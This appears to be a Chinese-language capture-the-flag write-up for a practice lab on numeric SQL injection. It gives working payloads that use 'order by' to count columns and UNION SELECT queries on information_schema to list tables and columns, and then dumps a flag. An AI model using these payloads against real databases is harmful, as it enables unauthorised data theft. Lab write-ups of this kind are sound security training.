S07 information_schema 拖库
1.打开靶机
这题是数字型注入 且题目说这题要使用 order by 查询列数 突然意识到前面几题列数都已经告知 不用查询 无伤大雅 按流程做题
2.查询列数
1 order by 5
报错 共有四列
3.查询表名
-1 union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()
得到表名
comments,flags,logs,news,products,subs,users,vip
4.查询列名
-1 union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name="flags"
得到
flag,level,note
5.查询元素
-1 union select 1,2,3,group_concat(flag) from flags
得到flag
flag{sqli_07_information_schema}